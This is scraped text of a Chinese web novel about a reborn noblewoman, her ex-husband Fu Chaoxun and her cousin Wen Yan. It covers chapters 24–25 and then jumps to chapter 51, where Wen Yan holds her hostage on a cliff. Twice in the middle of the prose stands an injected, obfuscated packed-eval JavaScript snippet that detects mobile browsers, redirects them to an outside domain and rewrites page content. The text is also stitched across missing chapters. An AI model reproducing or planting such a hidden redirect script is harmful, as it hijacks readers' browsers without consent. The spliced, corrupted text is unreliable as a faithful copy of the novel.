叶元倾前世所有事情伶儿都知晓,也知晓叶元倾和傅朝寻那段婚姻有多么不容易。 但是,重活一世,她只希望小姐能够幸福,不管是傅朝寻还是温衍,抑或江不讳,只要是让小姐伤心的人,她都不希望再有任何牵连。 叶元倾了解伶儿,知晓她的担忧,把她扶起身来,轻声道:“伶儿,我不是一个糊涂的人,定不会再做重蹈覆辙的事,前世叶家出事跟很多人有关系,我需要一一找出来,但是找出来并不容易,所以我们要先接近一个人。” “谁?”伶儿问。 “太子。” “太子?” “对。”叶元倾回道,“太子天之骄子,我们很难接近他,唯有温衍可以,温衍娘亲和太子娘亲都是太后娘家的人,他们二人来往密切,或许知晓很多不为人知的秘密。” 伶儿微微一惊:“小姐想让江不讳冒充温衍?” 24. 第 24 章 深秋夜里很凉,叶元倾一夜都未睡好,伶儿守在她身边给她盖了好几次被子。 初晨湿气重,她早早起来坐在桌前发了一会呆,忽然想起前世让她忽略的一件事情,也是她和傅朝寻产生隔阂的一件事情。 记得那是她和傅朝寻成婚的第三年,那个冬天早早就下了雪,傅朝寻外出办事几个月都未曾回府,她守在门前等了一天又一天。 等到傍晚的时候,一个婆子用板车拉着一个男子来到他们门前,跪下来讨要一口饭吃。 她端了饭菜出门给婆子送去,却看到板车上蓬头垢面的男子在吐着血。 她让管家把男子扶到家中,请了大夫给他治疗。 婆子跪下来哭着感谢道:“夫人是观世音菩萨再世,您的大恩大德我们没齿难忘。” 她问婆子从何而来,经历了什么事情。 婆子说:“受伤的人是我的孙子,名叫江不讳,我们是从北境逃荒过来的,半路遇到了战乱,我们看到有一批人马从山头往下射箭,射死了山下不少穿黑衣服的人和一些普通百姓,我家不讳也不幸中箭受伤,为了医治他,花光了身上为数不多的积蓄,现在身上分文没有,也没有大夫愿意给他治疗,今日遇到活菩萨,真的感激不尽。” 婆子说着,不住地给她磕头道谢。 还好婆子口中的江不讳受伤不是特别严重,经过治疗保住了性命。 叶元倾心善,给了他们一些银子,还把他们安排到了荒废已久的别院中。 江不讳经过一个月的治疗身体恢复的很好。 那日叶元倾去看望他,茫茫大雪中,她站在院门前,只见一位白衣胜雪的年轻公子立在腊梅树下抬头望着飘雪的天空。 那如玉一般的面容和气质,实在太熟悉,她发现他竟然和温衍长得一模一样。 她站在门前许久,他转身看到她,给她弯身行了一礼。 她问他叫什么名字。 他温声说:“在下名叫江不讳,多谢女菩萨救命之恩。” 连说话的声音和语气都一模一样。 她不可置信地看了他很久,最后把他留在了别院里,供他们祖孙吃穿用度,还请了先生教江不讳知识和琴棋书画。 数月后傅朝寻从外面回来,身上受了很严重的伤,看到她以后冲到她跟前,趴在她肩头,沉默了很久都未说话。 她陪着他看大夫养伤,等他伤好了,不出半月他又离开了。 离开的时候他给她买了很多稀奇古怪的玩意,还买了很多书籍,又给她请了教琴棋书画的先生,对她说:“你若是觉得无聊就回将军府,或者去叶宁那里住一段时间,我一有空就回来看你。” 他走到门前又停下,看着她很认真地道:“元倾,你再等一等,我很快就能被皇上重用,届时我们搬出亲王府,用我自己的能力来养活你。” 她点着头:“好!我等着。” 她等了很久,等了四年,等到他们去世也没等来他带着她离开亲王府。 她不知道他那四年都在做什么,回府的时间越来越少,后来同床共枕的时间更少,直到最后他回来只是在家坐一会,天一黑就离开了。 后来,江不讳万字荐书成了傅呈延暗中争权夺势的得力助手。 她永远都忘不了那一晚,他突然跪在她面前,说:“元倾,你把我当做温衍我一点也不介意,我的命是你救的,是生是死都是你的,我不要名分,我什么也不要,我只要留在你身边。” 仔细回想当初,现在她恍然发现,江不讳的突然出现并非那么简单。 也许是某个人安排在她和傅朝寻身边的眼线。 一切的一切如此错综复杂,她需要在某个人出手之前占据主导权。 午饭还未吃叶卓就来了。 叶元倾把他请到书房,看着他心事重重的样子,给他倒了一杯茶,道:“卓哥哥有话直说便是。” 叶卓一直站着并未坐下,过了好一会才道:“昨日酒楼之事,妹妹能否与我说说。” 叶元倾知晓他是来问此事的,走到窗前把窗户关上,轻声说:“玉湖离卓哥哥的码头比较近,或许有人盯上了你,昨日上船以后,我发现酒楼里一直站着一个人往船上看,我莫名地觉得奇怪,也觉得危险,所以才让你躲到船舱里去。” 叶卓审视着她,他了解叶元倾,知道她说的话有几分真有几分假,他也知道他可能问不出什么,但是一夜未眠的他还是想过来问问。 他沉默了一会,低头撩拨了一下挂在腰间的玉佩,语气有些不确定地问:“这事可是与傅朝寻查的案子有关?那日在酒楼,他突然问我码头的事,我就觉得不妙。你们昨晚……昨晚离开那么久,他有没有与你说什么。” 他好像更在意这个。 叶元倾并不想与他讨论傅朝寻,她只是道:“昨日之事应该和傅朝寻无关,也可能是我昨日想多了,才会觉得有危险,还好昨日什么也没有发生。” “傅朝寻为何要单独找你?”他还是忍不住问。 叶元倾抬眸看他,瞧着他焦急时深沉的眉眼,轻声回道:“堂哥哥无需关心这些,你有没有用早饭,要不要留下来用?” 叶卓看着她,看着她疏离的眸色,长睫微微颤动了几下,一股酸涩涌上心头,沉声回道:“不必了,我回府。” 他还是什么也没有问出来。 他转身走到门前停下,又说:“我让人去青山买了一些果子,回头给妹妹送来。” 叶元倾瞧着僵硬的背影,回道:“好,多谢卓哥哥。” 叶卓离开以后叶元倾去吃早饭,到了膳厅只见邱盈一个人垂头坐着。 叶元倾走上前,问道:“妹妹吃饭了吗?是哪里不舒服吗?” 邱盈看到她,泪眼汪汪地道:“姐姐,我祖母去世了。” “祖母去世了?”叶元倾心里咯噔一下,“姨母不是去照顾了吗?怎么这么突然?” 邱盈吸了一下鼻子回道:“我也不知道,我娘亲一大早就回了京城,来了将军府一趟,说了此事就走了,具体怎么去世的我也不知道。” 叶元倾轻叹了口气,安慰道:“妹妹节哀顺变,若是病情严重,祖母也算是脱离苦难了。” 二人这边说着,叶元萧一边打着哈欠一边走了进来,他走到叶元倾跟前,先是揉了揉她的脑袋,然后坐下来拿了一个包子啃着,未在意一旁的邱盈。 叶元倾问他:“二哥今日忙不忙?” 叶元萧摇了摇头:“不是很忙,不过一会要去督稽司,哦对了!” 他把包子放下又道:“你让我帮你找的余瑶,今早有人过来告诉我说已经找到了。” “这么快?”叶元倾有点不可置信。 叶元萧扬了扬眉:“还不知是不是你找的那个余瑶,待会儿你要不要跟我去督稽司看看?” 叶元倾忙点头:“好!我过去看看。” 叶元萧瞥她一眼,总觉得她有点不对劲,给她盛了一碗粥放到她面前,又说:“从昨晚回来温衍就一直问我你昨晚去了哪里,我没有告诉他你和傅朝寻在一起,我害怕他胡思乱想,我看他心情不好,待会儿你去给他解释解释。” 叶元倾回道:“有什么好解释的,我去哪里不需要所有事情都告诉他。” 叶元萧耸了耸肩未再言,不愿参与他们的事。 “姐姐,你昨晚离开那么久,一直都和傅朝寻在一起吗?”邱盈突然问。 叶元倾愣了一瞬,也不好隐瞒她,点了点头。 邱盈看了看她的神色,又问:“姐姐什么时候认识他的?感觉你们关系挺好的。” 叶元倾回望她一眼,轻笑一下没有回答。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14215027|150000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邱盈见她不回答,还想再问,叶元倾突然起身道:“二哥我吃好了,在门外等你。” “好,我马上吃完。” 叶元倾当值的督稽司在城中,离皇宫比较近,以前叶元倾去过几次。 二人到了督稽司,叫余瑶的人还未到,叶元萧就带着她到后院喝了一会茶。 叶元倾无心喝茶,只想尽快见到余瑶,看看是不是傅朝寻口中的余瑶,只是她前世没有见过余瑶,也不好判断。 叶元萧有要务在身,坐了一会就出去办事了。 叶元倾一个人在后院坐着,不多时督稽司就来了人,她以为是叫余瑶的人过来了,结果走到前门发现是傅朝寻。 傅朝寻带着一名小厮前来,穿了一袭绣着紫色蔓藤的白色锦衣,高高梳着发髻,一条白色发带垂在耳侧,看起来有几分温润书生的气质。 和他以往的装扮大有不同。 他长相干净,肤质又白,安静地站着,就像书画中走出来的人物。 他手里提着一盒礼品。 两人同时愣在了门前。 叶元倾还是头一次见这般模样的他,再加上他年轻的样貌,一时间竟然看痴了。 傅朝寻也甚是惊讶地望着她,怎么也没有想到会在这里遇到她。 跟在一旁的卫知见二人看愣了眼,激动的脸都要笑开花了。 叶元倾缓了一下神,转了身往里走,轻声问:“你怎么来了?” 傅朝寻动身跟在她身后,回道:“我来看看二哥。” 来看看二哥…… 卫知很有眼色地没有跟上,站在门旁看着赏心悦目的俊男靓女,感叹世间怎么会有这么相配的人。 两个人到了后院,督稽司的人请他们坐下,还给他们上了茶。 叶元倾瞥了一眼他带来的礼盒,觉得太阳打西边出来了,他还会给人送礼。 “二哥没在吗?”傅朝寻坐在她对面,坐的有些僵硬,应该是突然遇到她没有心理准备。 “刚才出去了。”叶元倾轻声回他。 “你过来找二哥吗?”他又问。 “我跟二哥一起来的。” “有什么事?” “没事。” “元倾姑娘。”这时候,督稽司的一位小哥过来,说:“不好意思元倾姑娘,本来是打算把余瑶带来见您的,只是她家中孩子尚小,走不开。所以,您能不能过去一趟?” 余瑶?傅朝寻闻言去看叶元倾,她怎么在找余瑶? 叶元倾急忙低下了头,心道不好,本来打算偷偷调查的,这下可好,被傅朝寻知道了。 “那个……”她站起身,“那麻烦小哥带我去见她。” 小哥连忙点头:“好,我带您过去。” 傅朝寻也站起身,走到她跟前,看了看她做贼心虚的样子,清声道:“我陪你一起去。” “不用。”叶元倾连忙拒绝,说完就走。 傅朝寻追上她,说:“别总是口是心非,我又不是不了解你,这事你本该先与我商量。” 叶元倾走得很快,回道:“我又不认识你,我为何要与你商量。” 傅朝寻两步就跟上了她,道:“夫妻七年都不算认识,怎么才算认识。” 叶元倾又加快了一些脚步,不想与他走在一起,低声说:“傅朝寻,你别总是胡说八道,别败坏我的名声。” 傅朝寻瞧着她慌慌张张的样子,扬唇笑了笑,只需两三步又追上了她。 叶元倾上了马车,让小哥快马加鞭地赶到了余瑶的家,结果一下车就看到傅朝寻骑着白马已经停在了门前。 叶元倾:“……” 出门接待他们的是一位二十几岁样貌秀丽的女子。 叶元倾和傅朝寻给女子行礼进了院,二人刚一进去就听到了婴儿的啼哭声。 25. 第 25 章 此处院落在城中偏西一点的街道上,虽是看起来有些破旧,但是院中却收拾的极其干净。 女子带他们进了前堂,奉上茶,非常客气地道:“二位实在抱歉,我家官人未在家,只能我来接待你们了。” 她说着,又接过嬷嬷手中啼哭的婴儿,笑说:“一大早督稽司的人过来,说是大人的妹妹要见我,只是家中孩子尚小,脱不开身,实在不好意思,只能让姑娘跑一趟了。” 她就是余瑶? 叶元倾略有疑惑地看了一眼傅朝寻,想确认一下是不是找错了人。 傅朝寻看了看女子怀中的婴儿,断定叶元倾是找错了人,虽然他前世躺在地上迷迷糊糊没有看太清余瑶的长相,但是从身高气质来看那人才只有十几岁的年纪,并未有眼前女子人妇般的气质。 叶元倾见傅朝寻皱了眉头,心道:看来是真的找错了人。 余瑶抱着孩子坐下,问叶元倾:“不知姑娘找我何事?” 叶元倾尴尬地笑说:“不好意思夫人,我们可能找错了人。” “找错了人?”余瑶并未露出不悦,而是笑说:“京城里叫余瑶的姑娘挺多,单单我听说的就有四五个,不知姑娘要找多大年纪的?” 多大年纪? 叶元倾又去看傅朝寻。 傅朝寻回想了一下,回道:“大概十四五岁的年纪。” “十四五岁……”余瑶喃喃一声,思忖片刻道:“这么大的我倒是知道一个,我家官人在衙门后厨当值,听几个婆子聊起今年选秀的事,闲来与我说了几句,好像秀女中有一位叫余瑶的姑娘,是冀州过来的,当时我听闻与我同名同姓对她印象很深。” 若这位余瑶姑娘真是秀女出身,可能还真是他们要找的人,毕竟能接近太子的人都不一般。 “那她现在可还在秀女馆?”叶元倾忙问。 余瑶摇摇头:“那我就不知道了。” 她这边说着,怀中的孩子又开始啼哭起来。 孩子生的白白胖胖,大概八九个月的样子,穿着粉色小衣裳,戴着一个小帽子,哭起来晶莹的泪珠往下落,瞧着特别惹人疼。 叶元倾忍不住伸手拍了拍她,小娃娃乌黑透亮的眼珠转了几下,看到她以后竟然不哭了。 叶元倾惊喜地冲她笑了笑,摸了摸她的小脸逗了她一下,小娃娃看着她又“咯咯”地笑了。 余瑶见此,笑说:“姑娘,我们家媮儿好像很喜欢你,你要不要抱抱她?” 抱抱? 叶元倾有些紧张地站起身,笑道:“我有点不太会。” 她这边说着,余瑶已经把孩子放入了她的怀中,看了一眼傅朝寻,说:“我一开始也不会抱,等二位有了孩子,自然就会抱了。” 有了孩子…… 叶元倾看了一眼傅朝寻,傅朝寻也看她,两个人互望一眼,均未说话。 前世,他们成婚七年都未生个一儿半女,至于为什么,傅朝寻最清楚,这也是叶元倾这一世不愿与他再有牵扯的原因之一。 她小心翼翼地抱着孩子,瞧着她粉扑扑的小脸,越看越喜欢,但是化开的眉眼里却带着一点点酸涩。 傅朝寻看着她,看着她宠溺且又有点落寞的神色,油然生起一些愧疚。 但是想一想,前世那样的结局,或许他的选择并没有错。 只是眼下见她这般模样,又觉得错了。 叶元倾抱着孩子逗了好一会,余瑶也是个热情大方的,希望他们能留下来用饭,期间有意无意地提了两句她家官人在衙门当值,希望有机会去督稽司看望叶大人。 面对她的热情,叶元倾也不好意思驳她的面子,便和傅朝寻留了下来。 余瑶把孩子交给叶元倾和傅朝寻去厨房准备饭菜,因着家庭普通请不起厨子,只能余瑶和嬷嬷亲自下厨。 叶元倾把孩子放到院子里的摇篮里,拿着拨浪鼓逗着她玩,孩子好像真的很喜欢她,被她逗得“咯咯”笑个不停,一双小手轻轻地拍着。 傅朝寻双手环胸地立在一棵桂花树下,看着叶元倾喜笑颜开的样子,不知不觉出了神。 他好像好久没有见她这样笑过了,她笑起来真的亲切又好看,唇边的笑容非常有感染力,会让人也跟着不知不觉地笑起来。 他安静地看了一会,动身走到她跟前,拿走她手中的拨浪鼓,俯身看着孩子,轻轻摇了摇。 孩子看到他,似乎更加兴奋了,两条小腿蹬了几下,向他伸出一双小手。 叶元倾看明白了孩子的意思,对傅朝寻道:“她想让你抱抱。” 抱抱?他……好像不太会。 孩子又蹬了几下小脚,伸着手冲他“啊啊”了几声。 傅朝寻有些紧张地吸了口气,把拨浪鼓递给叶元倾,卷了卷袖子,准备抱孩子。 他把手伸到孩子跟前,孩子一把抓住了他的手指,兴奋地往他身上扑。 傅朝寻无从下手,去看叶元倾。 叶元倾见他紧张的不知如何是好,忍不住笑了。 她这一笑,傅朝寻尴尬地红了脸,然后小心翼翼地把孩子抱了起来。 他把孩子抱在怀里,僵挺着身子不敢动,问叶元倾:“下面怎么办?” 叶元倾回道:“你放松一些,别把她弄疼了。” 她说着,抓起傅朝寻一只僵挺的手,挪到孩子的背上,说:“你用手掌拖着她的背,别摔着她了。” 她的手触上他的手那一刻,他不知是紧张的还是怎么的,一张脸又烫又红,然后按照她的意思把孩子好生拖了起来。 孩子看到他头上的发带,伸手抓在了手里,然后使劲往下拽。 傅朝寻紧张地“啊”了一声,急忙喊:“元倾,她抓我的头发,你快帮我。” 叶元倾见状想抱走孩子,结果孩子猛地一拽,把他头上的发带和簪子硬生生地拽了下来,接着他一头乌黑秀发瞬间披散了下来。 他尴尬地僵挺住,活了这么多年还从未遇到过这种情况,以前上阵杀敌他都没有怕过,时下竟然搞不定一个孩子。 孩子见他头发披了下来,“咯咯”地笑了,紧紧攥着发带不松手。 叶元倾连忙把孩子接了过来,看着傅朝寻窘迫的样子,轻轻笑着。 傅朝寻见她笑了,脸更红了,伸手摸了摸滚烫的脸颊,在原地走了两步。 叶元倾从头上取下一个发簪递给他:“用我的,先挽上。” 傅朝寻接过来,简单地把秀发盘了一下。 叶元倾看着他,桂花飘落的大树下,去掉曾经那身让人畏惧的戾气,换上一副慵懒松散的模样,倒有几分勾人心魄的柔媚感。 他这次重生回来,好像变得不一样了。 当年她是被他的样貌吸引的,如今还能有初相识的悸动,很特别,也很难得。 傅朝寻挽好头发,见她直直地看着自己,眉眼里更加温润了。 “那个……”叶元倾躲避了一下他的目光,把孩子放到摇篮里,“一会你要去秀女馆吗?” 傅朝寻捏起肩头的一朵桂花闻了闻,回道:“去一趟,去查查那个余瑶的来历。” 然后又问她:“一起去吗?” 叶元倾拿起一旁的拨浪鼓在孩子面前摇着,回他:“不去了,余瑶的事你自己查,我之前只是好奇才让二哥查的。” “现在不好奇了?”傅朝寻问她。 “不好奇了。”她回道。 傅朝寻沉默了一会,很认真地道:“元倾,我准备搬出亲王府。” 准备搬出亲王府。 这话很熟悉,叶元倾前世听过很多次,没有一次成功的。 她没有回话,因为她知道,依他父亲的强势和能力,是绝对不会允许膝下孩子“独当一面”的,就算是成了家,也必须在他的掌控之下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14223564|150000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就连傅呈延都办不成的事,他怎么能办的成。 他离开亲王府,就等于失去一切,可能连最基础的生活都不一定能有。 他见她不说话,知道她不相信。 “元倾,信我一次。” “傅公子的家事莫要与我提。” 这一会风急了些,吹得满院的桂花不住飘落,落在他的肩头,落在她的头上,带着淡淡的桂花香。 叶元倾怕孩子着凉,抱起孩子往屋里走,傅朝寻看着她的背影,眼眸渐渐暗沉下来。 因为失信太多次,所以连信任也没有了。 余瑶做了一大桌子饭菜,热情地招待他们,还拿了她家官人藏的酒。 傅朝寻倒了一杯准备喝下,叶元倾按住他的手腕,提醒道:“还受着伤,别喝。” 傅朝寻听话地把酒杯放下。 余瑶在一旁笑道:“姑娘真贴心,公子也好生幸福。” 余瑶知晓督稽司,知晓叶元萧,定然也知晓叶元倾的身份,将军府就这么一个女儿,有没有成婚,她更知晓。 她早看出了二人的关系不一般,虽然不好问,但她还是忍不住出言打趣。 撇开其他不说,这俩人般配的令人羡慕,无论样貌还是气质,真的没见过这么般配的。 虽然他们相处的别扭,但是从言行举止来看,是有些感情在的。 连旁人都看明白的事情,两个当事人硬是察觉不出一点。 用完饭以后,二人和余瑶道了别。 傅朝寻把叶元倾送到督稽司,因着父亲还有要事交代便没有逗留。 临走时他对叶元倾说:“后天我要随大哥去一趟禹国,可能十日才能回来。” 还和前世一样,他每次离开的时候都会深深地看着她,简短地说他要离开了。 这一次和以前不一样,他不仅告诉了她去的地方,还告诉了她归来的时间。 她听后没有回应,一句话也未说。 叶元倾等到二哥回来以后,说了一些今天的事情就回了将军府。 她到了将军府,发现舅舅和温衍正在前堂里坐着,一旁的父亲和母亲面色凝重地一言不发。 他们见她回来,舅舅温齐急忙站起身,满面笑容地道:“倾儿回来了,舅舅等了你好久。” 等她? 叶元倾给他行了一礼问:“舅舅找我何事?” 温齐笑了笑,看向温衍。 温衍走到她跟前,叫了一声“妹妹”,神情有些激动。 温齐站直了身子,拉起温衍,很郑重地道:“倾儿,你知道衍儿爱慕你已久,你们两个一起长大,双方都有很深的感情,如今到了谈婚论嫁的年纪,衍儿又多次向我提起想过来向你求亲,今日舅舅很认真地带着他请求倾儿能给他一个机会,等你们成婚以后,他一定一定会好生待你,舅舅也会好生待你。” 这是来求亲的。 叶元倾僵在原地看着他们,既觉得突然,又觉得合理,依温衍的性子,定是感觉到了他们的感情受到了威胁,才着急求亲。 双方僵了好一会。 叶展桡面色复杂走到叶元倾跟前,道:“方才我们已经和大哥好生讨论了一番,其实我和你娘亲并不太想让你这么早成婚,若是倾儿对衍儿有情,愿意嫁给他,爹娘也不会太过阻止。” 其实,他们夫妻俩也没有考虑好,但是又不想和温家闹得太僵。 叶元倾看了看父母,又看了看温家父子俩,思忖了一会,道:“这事我会认真考虑,给我几日的时间,考虑好了我会给答复。” 温衍见她还要考虑,焦急地道:“妹妹还考虑什么,我知道你也喜欢哥哥,哥哥……” “表哥!”叶元倾打断他的话,说:“表哥若是真的那么想娶我,何必着急这几日,我总得有个心理准备。” 心里准备。 这……这是有答应的意思? 50-60 第51章 第 51 章 “既然得不到,那就一起…… 放了她, 来杀我。 傅朝寻一句话响彻整个山谷。 他毫无畏惧地持剑指着对面的人,周身凛然气息几乎能碾碎一切。 什么都可以,但是唯独伤害叶元倾就是不可以。 前世, 他拼尽全力, 哪怕刀架在脖子上,为了叶元倾的安全他都不会眨一下眼睛,他活了两世,经历的事情太多太多,身上的伤口数不胜数,他什么大风大浪没有经历过。 拿叶元倾来威胁他,还是第一次。 眼前人的, 只是一眼他就认了出来。 终究,有些人的爱情太低劣了, 太拿不出手了,也让他唾弃。 大风肆虐,夹着一些冰粒子,刮在脸上打的生疼。 秀发衣衫不住地飞, 灰蒙蒙的天气,让周围气氛越来越压抑。 突然, 随着一阵响动,一大批黑衣杀手持剑围了过来,把傅朝寻等人团团围住。 傅朝寻扫视一圈, 并未放在眼里,目光继续锁定对面的人。 那人一袭白衣站在马车前, 听了他的话后,明显更加紧张了,一双拳头恨不得捏碎。 两个人隔着遥远距离互望着, 哪怕看不清,也能感受到双方噬人的气势。 傅朝寻的话音落了很久,对方都没有回应。 傅朝寻没有太多的耐心与他耗,他往前走了一步,周围的黑衣杀手紧跟了一步,均是蓄势待发地盯着他。 “温衍。”傅朝寻停下,喊出了他的名字。 如今再叫这个名字,让他感到可笑,他怎么也无法想象,一个那么深爱叶元倾的人,会因为杀他,把她牵扯其中,把她带到寒风凛冽的山顶上,还靠在那万丈深渊的悬崖边上。 这该有多么阴暗。 对方听到他的喊声,动了动身,抓起身边人手里的弓箭,架起后,瞄准他,一点点把弓拉满。 傅朝寻纹丝不动地看着他,冷笑道:“温衍,你放她走,任何事情你冲我来,砍我也好,杀我也好,你随意,风太大,别把她吹病了。” 这么冷的天气,他都无法抵抗,何况叶元倾,她现在一定又怕又冷。 一阵风吹来,吹落了白衣男子的面纱,面纱随风飘起,向悬崖下落去。 那张堪比仙人下凡的漂亮脸蛋,在寒风中煞白煞白,但,依旧好看。 他的白色衣衫被风吹得不断地翻飞,云雾中,他站在那里,真的如同仙人一般。 这样一个人,本该活的更加阳光,更加轻松,反而,他前世因为爱而不得离世,这一世,又因为爱情把自己折磨的不成人样,还动了杀人的念头。 时下,他面容冰冷,眸光暗沉,唇边还噙着一抹冷笑。 “傅朝寻。”他终是开口,曾经温润的嗓音变得有些沙哑,“你算个什么东西。” 一句话里带着诸多情绪,愤怒,委屈,不甘,疑惑,痛恨,通通都有了。 风很大,但是他这一声,傅朝寻却听得清清楚楚。 傅朝寻没有做声,知道他委屈他愤怒。 温衍的情绪就像肆虐的大风一样,越来越急,越来越失控。 “我和叶元倾相守的十几年,那可是十几年。” 温衍依旧还如前世一样,爱的那么用力,又总认为付出就应该得到回报。 但是,爱情是不能强求的。 “是你。”温衍大喝一声,拉紧了手中弓箭,愤恨道:“是你的出现,让她的眼睛里再也容不下我,你们不过相识短短几个月,短短几个月而已,凭什么就可以让他移情别恋不要我?” 温衍好像哭了,情绪越来越激动,一双手都在颤抖。 在爱情面前,谁又是错的呢? 前世,傅朝寻也守了叶元倾七年,而她七年里,心里装的好像一直都是温衍,他也为温衍吃醋过,发疯过。 现在,反过来,温衍过来质问他。 命运总是这样开玩笑,真的让人难过,让人奔溃。 傅朝寻看着他,见他越来越失控,语气缓和了一些,道:“温衍,这是你我之间的事情,你放了元倾,你有气,你冲我来。” 他们身后就是万丈深渊。 温衍发出一连串的冷笑声,他往后退了一步,紧靠着马车,冷喝道:“你装什么风度?你明明知道我们二人的关系,你明明知道元倾那么爱我,你为何还要插上一脚?你说,你能给他什么?安稳的生活?尊重?金钱?地位?你能给他什么?你自己还是一个活在刀刃上的人,你凭什么要把她拉到泥潭里去?她跟着你会幸福吗?你连自己的父亲都搞不定,她跟着你会幸福吗?” 温衍越说越激动,傅朝寻笔挺地站着,一句话也不说,腿上的箭伤还流着血。 “你明明什么都给不了。”温衍的愤怒终是在这一刻爆发,“你明明知道自己什么都给不了,为何还要接近她?为何要勾她的心?勾她的人?没有你,没有你我们明年春天就可以成婚了,我们就可以过上幸福的生活。你了解她吗?你知道她喜欢吃什么吗?你知道她怕什么吗?” 两世,都被爱情折磨的温衍,再也支撑不住了,他自认为自己小肚鸡肠,自己容不下一丁点叶元倾的不忠,但是他的爱却是实实在在的,却是一点也不输任何人的。 但他也是执拗的,他不明白,为何,为何这个世界上会有移情别恋?他搞不懂,他始终搞不懂。 他爱叶元倾,可以爱她一辈子,他也以为叶元倾会爱他一辈子。 “怎么不说话了?”温衍见他一直沉默,又不停地冷笑,“傅朝寻,你是活在泥沼里的人,你敢说你能给的了她幸福吗?你能给的了吗?既然给不了,你就放手吧!你放手,我就放过你,我会和她离开京城,去一个你永远见不到的地方。” 他能给的了她幸福吗? 前世没有,这一世,傅朝寻已经在努t?力了,非常非常努力。 他继续沉默着,听着温衍一声声怒吼,心口像刀剜一样的疼。 “傅朝寻。”温衍一边擦着眼泪,一边叫他的名字,说了一个让他也不确定的事情,“傅朝寻,你有没有想过,元倾是可怜你,是同情你,所以才愿意让你靠近,愿意给你一些温柔?一个连蚂蚁都舍不得踩的人,也会同情你这种遭遇的人,全世界的人都知道你傅朝寻是一个什么样的人,生活在什么样的家庭,她也知道,所以,在你接近以后,她产生了怜悯,一切都是她的怜悯心作祟,她根本就不喜欢你,她就是可怜你。” 可怜,怜悯,同情。 三个要命的词语。 温衍见他握剑的手抖了抖,更加变本加厉地道:“我也知道你为何一直接近她,你日子过得苦,你贪恋她身上的温柔,你想从她身上感受到温暖,你那根本就不是爱,你只是一时的感动罢了。既然是感动,任何女子都可以给你,全京城,你什么样的女子得不到,为何偏偏要来招惹叶元倾?你放过她,只要你放过她,我什么都可以答应你。” 人在恐慌无助的时候,就会极力去挖掘对方的弱点,然后狠狠地攻击,以此来证明自己并没有那么悲惨。 但也显得那么自欺欺人。 天渐渐黑下来,山顶上的视线越来越模糊,气温也越来越低。 “温衍,你先让元倾回去。”傅朝寻不想让叶元倾一直处在危险之中,他尽量不去激怒温衍,说:“你让元倾走,你怎么对我都行,要杀要剐随便你。” “你休要假惺惺。”温衍似乎更加暴躁了,“你不要装给她看,不要显得你多好,显得我多无耻,我告诉你傅朝寻,今日要么你死,要么我们所有人都死。” “好。”傅朝寻答应的极其爽快,“你想让我怎么死?用刀,还是用剑?你动手,还是我自己动手?” 一句话让温衍愣住了,他没有想到他真的会答应去死。 傅朝寻见他不说话,举剑架在自己的脖子上,冷声说:“这样如何?你只要让她平安下山,我就立即死在你面前。” 温衍不信,冷笑道:“你休要哄我。” 他话音刚落,只听“噗嗤”一声,傅朝寻持剑在自己的胸口前狠狠地划了一刀,紧接着衣衫破裂,鲜血直流。 温衍见状急忙向后退了一步。 他,他竟然来真的。 傅朝寻见他怕了,又把剑继续架在脖子上,说:“温衍,你什么都不懂,你的爱太自私了,我和叶元倾相识七年,不比你的时间少,我们经历的事情太多太多,是你永远也想不到的,也解不了的。” 这个时候,他也不愿再隐瞒什么,干脆道:“我和她的感情不是一朝一夕,是经过了七年才有了一些变化,你不懂我们的感情,所以,你不用站在你自己的角度来审判我。我是什么样的人,我对她如何,我心里有数。依我的身手,我随时都可以杀了你,但是即便我在亲王府过得再不如意,我也淌着皇家的血,我也是王爷的儿子,我杀了你,我一样能活,而你将一无所有。但是,我没有杀你,我也不会杀你。我只希望你能认清一些事情,不要那么自私,更不要去强迫元倾。” 他吸了口气,身上尽是冰凉,继续道:“我的人生是有些烂,但是我的感情并不是拿不出手,我可以容忍你陷害我,想杀我,但是我绝不允许你拿元倾来威胁我,若是如此,你只有死路一条。” 他眸光冰冷地望着他,一字一句地问:“我不怕死,你怕吗?” 我不怕死,你怕吗? 他怕吗? 傅朝寻伸手按了按流血的伤口,冷笑道:“我这一生,最不怕的就是死。温衍,我给了你机会,你识趣一些,以后别再纠缠元倾,我绝不会动你,也不会动温家人。” 他活了两世,什么都怕,怕没有母亲,怕没有父爱,怕没有叶元倾,唯一不怕的,就是死。 死了,会更轻松,而活着,只会因为期盼头顶那一缕阳光,在暗无天日的泥潭中拼命挣扎,太累了,太累了。 他羡慕温衍,从他前世得知温衍同他一样没有母亲时就羡慕他。 他们同样自幼就丧母,没有怎么享受过母爱,但是温衍却生活的很好,他有父亲的疼爱,有祖父的关怀,还有青梅竹马的叶元倾。 全世界对温衍的评价都是好的,说他干净儒雅,说他温和善良,说他和叶元倾是天造地设的一对。 反观他,差别是那么那么的大。 “温衍。”他开始一步步向前走去,“天马上黑下来,山顶太冷,你放元倾走,我这条命留给你。” 以前温衍听说过傅朝寻非常有胆识,天不怕地不怕,杀起人来像个魔鬼,今日他总算见到了,在这种情况下,他竟然还能如此淡定地关心天黑不黑,叶元倾冷不冷,甚至划了自己一剑,流着鲜血,也毫不怯弱。 傅朝寻,他,太可怕了。 “你别过来。”温衍脆弱的心性终是顶不住了,“你再走一步,我就和元倾一起跳下去,既然活着不能在一起,那就死了在一起。” 他真的疯了。 